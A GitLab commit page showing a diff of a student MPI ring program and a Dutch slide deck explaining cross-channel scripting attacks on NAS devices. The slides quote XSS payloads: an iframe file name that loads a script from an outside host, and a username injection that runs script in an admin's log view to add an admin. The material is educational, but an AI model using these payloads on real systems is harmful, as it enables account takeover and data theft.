Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Keyboard shortcuts
?
Submit feedback
Contribute to GitLab
Sign in
Toggle navigation
U
uva
Project overview
Project overview
Details
Activity
Releases
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Analytics
Analytics
CI / CD
Repository
Value Stream
Wiki
Wiki
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Taddeüs Kroes
uva
Commits
3bc5644d
Commit
3bc5644d
authored
May 10, 2011
by
Sander Mathijs van Veen
Browse files
Options
Browse Files
Download
Plain Diff
Merge branch 'master' of vo20.nl:/git/uva
parents
8ae125ed
ae636604
Changes
3
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
71 additions
and
22 deletions
+71
-22
modsim/ass4_taddeus/ring.c
modsim/ass4_taddeus/ring.c
+36
-1
modsim/ass4_taddeus/ring.sh
modsim/ass4_taddeus/ring.sh
+3
-2
portfolio/xcs/xcs.tex
portfolio/xcs/xcs.tex
+32
-19
No files found.
modsim/ass4_taddeus/ring.c
View file @
3bc5644d
...
@@ -2,10 +2,45 @@
...
@@ -2,10 +2,45 @@
#include <stdio.h>
#include <stdio.h>
#include <mpi.h>
#include <mpi.h>
double
*
data
=
{.
0
};
void
initialize_ring
(
void
)
{
double
received
;
puts
(
"Sending first data"
);
MPI_Send
(
data
,
1
,
MPI_DOUBLE
,
2
,
MPI_ANY_TAG
,
MPI_COMM_WORLD
);
MPI_Recv
(
&
received
,
1
,
MPI_DOUBLE
,
tasks
-
1
,
MPI_ANY_TAG
,
MPI_COMM_WORLD
);
if
(
received
!=
*
data
)
printf
(
"Received data does not match (sent: %f, received: %f)
\n
"
,
*
data
,
received
);
else
puts
(
"Data received succesfully"
);
}
void
pass_data
(
int
tasks
,
int
rank
)
{
double
received
;
printf
(
"Task %d sending data
\n
"
,
task
);
MPI_Recv
(
&
received
,
1
,
MPI_DOUBLE
,
(
rank
-
1
+
tasks
)
%
tasks
,
MPI_ANY_TAG
,
MPI_COMM_WORLD
);
MPI_Send
(
data
,
1
,
MPI_DOUBLE
,
(
rank
+
1
)
%
tasks
,
MPI_ANY_TAG
,
MPI_COMM_WORLD
);
}
int
main
(
int
argc
,
char
**
argv
)
{
int
main
(
int
argc
,
char
**
argv
)
{
MPI_Init
(
&
argc
,
&
argv
);
int
tasks
,
rank
,
error
;
if
(
(
error
=
MPI_Init
(
&
argc
,
&
argv
))
!=
MPI_SUCCESS
)
{
printf
(
"MPI_init failed (error %d)
\n
"
,
error
);
MPI_Abort
(
MPI_COMM_WORLD
,
error
);
}
MPI_Comm_size
(
MPI_COMM_WORLD
,
&
tasks
);
MPI_Comm_rank
(
MPI_COMM_WORLD
,
&
rank
);
if
(
!
rank
)
initialize_ring
();
else
pass_data
(
tasks
,
rank
);
MPI_Finalize
();
MPI_Finalize
();
}
}
modsim/ass4_taddeus/ring.sh
View file @
3bc5644d
...
@@ -4,5 +4,6 @@ RSH_AGENT=rsh
...
@@ -4,5 +4,6 @@ RSH_AGENT=rsh
MPI_HOSTFILE
=
~/.mpirun.machines
MPI_HOSTFILE
=
~/.mpirun.machines
PROGRAM_EXEC
=
ring
PROGRAM_EXEC
=
ring
mpirun
-np
$NUM_PROCESSES
--mca
pls_rsh_agent
$RSH_AGENT
\
mpirun
-np
$NUM_PROCESSES
$PROGRAM_EXEC
--hostfile
$MPI_HOSTFILE
$PROGRAM_EXEC
#mpirun -np $NUM_PROCESSES --mca pls_rsh_agent $RSH_AGENT \
# --hostfile $MPI_HOSTFILE $PROGRAM_EXEC
portfolio/xcs/xcs.tex
View file @
3bc5644d
...
@@ -14,6 +14,8 @@
...
@@ -14,6 +14,8 @@
\frame
\frame
{
{
\frametitle
{
Indeling
}
\tableofcontents
\tableofcontents
}
}
...
@@ -26,7 +28,7 @@
...
@@ -26,7 +28,7 @@
\begin{itemize}
\begin{itemize}
\item
Ligt dicht bij de webontwikkelaar
\item
Ligt dicht bij de webontwikkelaar
\item
Aantal embedded web servers groeit
\item
Aantal embedded web servers groeit
\item
Beveiliging groeit niet mee
\item
Beveiliging groeit niet mee
(26 XCS-lekken in 23 apparaten)
\end{itemize}
\end{itemize}
}
}
...
@@ -37,9 +39,9 @@
...
@@ -37,9 +39,9 @@
\frametitle
{
Cross Site Scripting (XSS)
}
\frametitle
{
Cross Site Scripting (XSS)
}
\begin{itemize}
\begin{itemize}
\item
Invoegen van scripts op een webpagina door
slechte validatie
\item
Invoegen van scripts op een webpagina door
te profiteren van
\item
Web to web
slechte validatie
\item
p
ersistent of non-persistent
\item
P
ersistent of non-persistent
\end{itemize}
\end{itemize}
}
}
...
@@ -74,19 +76,20 @@
...
@@ -74,19 +76,20 @@
\begin{verbatim}
\begin{verbatim}
aanvaller -> non-web protocol -> non-web service
aanvaller -> non-web protocol -> non-web service
|
|
doelwit <- H
H
TP <- web service
doelwit <- H
T
TP <- web service
\end{verbatim}
\end{verbatim}
\item
Persistent
\item
Persistent
\item
Twee op zichzelf veilige services A en B zijn samen onveilig
\item
Twee op zichzelf veilige services kunnen in samenwerking onveilig
zijn
\item
Moeilijker te detecteren dan XSS
\item
Moeilijker te detecteren dan XSS
\end{itemize}
\end{itemize}
}
}
\frame
\frame
{
{
\frametitle
{
Voorbeeld X
SC
: FTP exploit
}
\frametitle
{
Voorbeeld X
CS
: FTP exploit
}
NAS
upload bestanden naar
web-interface, kunnen we een script
NAS
is te benaderen via een
web-interface, kunnen we een script
meesturen in de bestandsnaam?
\\
meesturen in de bestandsnaam?
\\
\vspace
{
4mm
}
\vspace
{
4mm
}
\textbf
{
Uitdagingen
}
\textbf
{
Uitdagingen
}
...
@@ -101,11 +104,11 @@ doelwit <- HHTP <- web service
...
@@ -101,11 +104,11 @@ doelwit <- HHTP <- web service
\frametitle
{
Voorbeeld XSC: FTP exploit (2)
}
\frametitle
{
Voorbeeld XSC: FTP exploit (2)
}
\begin{verbatim}
\begin{verbatim}
"<iframe onload='
javascript:document.write(
<iframe onload=`
javascript:document.write(
&
apos;<html><head><
&
#47;head><body><script src
&
apos;<html><head><
&
#47;head><body><script src
=
&
quot;http
&
#58;
&
#47;a52.us
&
#47;t2.js
&
quot;>
=
&
quot;http
&
#58;
&
#47;a52.us
&
#47;t2.js
&
quot;>
<
&
#47;script><
&
#47;body><
&
#47;html>
&
apos;);'
<
&
#47;script><
&
#47;body><
&
#47;html>
&
apos;);'
src='index.htm'>
"
src='index.htm'>
.pdf
\end{verbatim}
\end{verbatim}
\begin{itemize}
\begin{itemize}
...
@@ -125,14 +128,18 @@ doelwit <- HHTP <- web service
...
@@ -125,14 +128,18 @@ doelwit <- HHTP <- web service
Een logbestand wordt remote bekeken door een administrator. Kunnen we iets
Een logbestand wordt remote bekeken door een administrator. Kunnen we iets
loggen wat op dat moment wordt uitgevoerd?
loggen wat op dat moment wordt uitgevoerd?
\begin{
itemiz
e}
\begin{
enumerat
e}
\item
\item
Probeer in te loggen met
username
:
Probeer in te loggen met
gebruikersnaam
:
\begin{verbatim}
\begin{verbatim}
r","","");
\\
/--></script>
r","","");
\\
/--></script>
<script src="http://xxx"></script>
<script src="http://xxx"></script>
\end{verbatim}
\end{verbatim}
\end{itemize}
Gebruikersnaam is incorrect, maar wordt wel gelogd
\item
Admin logt in en bekijkt het logbestand, script wordt uitgevoerd
\item
Script heeft beschikking over admin's sessie en voegt een nieuwe
admin toe
\end{enumerate}
}
}
\frame
\frame
...
@@ -168,11 +175,13 @@ aanvaller -> HTTP -> web service
...
@@ -168,11 +175,13 @@ aanvaller -> HTTP -> web service
NAS download torrent van een webserver, de bestandsnamen in de torrent
NAS download torrent van een webserver, de bestandsnamen in de torrent
bevatten een script.
bevatten een script.
\begin{itemiz
e}
\begin{enumerat
e}
\item
Torrent bevat lijst van bestanden
$
\rightarrow
$
verspreid script
\item
Torrent bevat lijst van bestanden
$
\rightarrow
$
verspreid script
over meerdere bestandsnamen
over meerdere bestandsnamen
\item
Script wordt uitgevoerd op NAS, bijv. seeden van torrents of
\item
Gebruiker bezoekt torrent service van NAS en download de torrent
stelen van data
\item
Torrent informatie en bestandslijst worden gelezen, script wordt
uitgevoerd
\item
Script kan nu bijv. torrents seeden of stelen van data
\end{itemize}
\end{itemize}
}
}
...
@@ -183,9 +192,9 @@ aanvaller -> HTTP -> web service
...
@@ -183,9 +192,9 @@ aanvaller -> HTTP -> web service
\begin{itemize}
\begin{itemize}
\item
Probleem: derde partij verwacht ``veilige'' data, cloud service
\item
Probleem: derde partij verwacht ``veilige'' data, cloud service
stuurt ``raw'' data
stuurt ``raw'' data
\item
Twitter: escape
bij invoer (input time)
$
\rightarrow
$
derde partij
\item
Twitter: escape
at input time
$
\rightarrow
$
derde partij
moet unescapen voor eigen format
$
\rightarrow
$
foutgevoelig
moet unescapen voor eigen format
$
\rightarrow
$
foutgevoelig
\item
Facebook: escape
bij uitvoer (display time)
$
\rightarrow
$
derde
\item
Facebook: escape
at display time
$
\rightarrow
$
derde
partij moet zelf escapen, dit gebeurt soms niet
partij moet zelf escapen, dit gebeurt soms niet
\end{itemize}
\end{itemize}
}
}
...
@@ -198,7 +207,8 @@ aanvaller -> HTTP -> web service
...
@@ -198,7 +207,8 @@ aanvaller -> HTTP -> web service
\begin{itemize}
\begin{itemize}
\item
Encoding/escaping
\item
Encoding/escaping
\item
Valideren van onvertrouwde HTML-uitvoer
\item
Statische analyse van onvertrouwde HTML-uitvoer
\item
Flow analysis
\item
Extra validatie bovenop cookies
\item
Extra validatie bovenop cookies
\item
Blokkeren van scripts door gebruiker
\item
Blokkeren van scripts door gebruiker
\end{itemize}
\end{itemize}
...
@@ -222,7 +232,10 @@ aanvaller -> HTTP -> web service
...
@@ -222,7 +232,10 @@ aanvaller -> HTTP -> web service
\frametitle
{
Meer informatie
}
\frametitle
{
Meer informatie
}
\begin{itemize}
\begin{itemize}
\item
Artikel:
\emph
{
``The Emergence of Cross Channel Scripting''
}
door
Hristo Bojinov, Elie Bursztein en Dan Boneh
\item
\url
{
http://en.wikipedia.org/wiki/Cross-site
\_
scripting
}
\item
\url
{
http://en.wikipedia.org/wiki/Cross-site
\_
scripting
}
\item
Vragen?
\end{itemize}
\end{itemize}
}
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment